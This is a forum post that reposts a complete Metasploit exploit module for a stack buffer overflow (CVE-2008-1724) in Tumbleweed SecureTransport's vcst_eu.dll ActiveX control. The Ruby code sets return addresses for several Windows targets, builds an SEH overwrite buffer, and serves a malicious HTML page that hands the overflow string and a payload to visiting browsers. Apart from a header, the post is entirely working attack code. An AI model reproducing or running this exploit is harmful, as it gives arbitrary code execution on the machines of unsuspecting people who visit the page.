Exploit Tumbleweed SecureTransport FileTransfer - 'vcst_eu.dll' ActiveX Control Buffer Overflow (Metasploit)

Exploiter · 21 Дек 2022

Код:

##
# $Id: tumbleweed_filetransfer.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the vcst_eu.dll
				FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
				SecureTransport suite. By sending an overly long string to the
				TransferFile() 'remotefile' function, an attacker may be able
				to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'patrick',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2008-1724' ],
					[ 'OSVDB', '44252' ],
					[ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'		=>
				{
					'Space'		=> 1000,
					'BadChars'	=> "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
				},
			'Platform'		=> 'win',
			'Targets'		=>
				[
					# Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
					[ 'Universal vcst_eu.dll',		{ 'Ret' => 0x1001ee75 } ],
					[ 'Windows 2000 Pro English',   	{ 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English',	{ 'Ret' => 0x71aa32ad } ],
				],
			'DisclosureDate' => 'Apr 07 2008',
			'DefaultTarget' => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname		= rand_text_alpha(rand(100) + 1)
		vurl 		= rand_text_alpha(rand(100) + 1)
		vhostName	= rand_text_alpha(rand(100) + 1)
		vlocalFile 	= rand_text_alpha(rand(100) + 1)
		vMD5	 	= rand_text_alpha(rand(100) + 1)

		# Build the exploit buffer
		filler = rand_text_alpha(4620)
		seh = generate_seh_payload(target.ret)
		sploit = filler + seh

		# Build out the message
		content = %Q|
			<html>
			<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
			<script language="javascript">
			#{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

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Exploit Tumbleweed SecureTransport FileTransfer - 'vcst_eu.dll' ActiveX Control Buffer Overflow (Metasploit)

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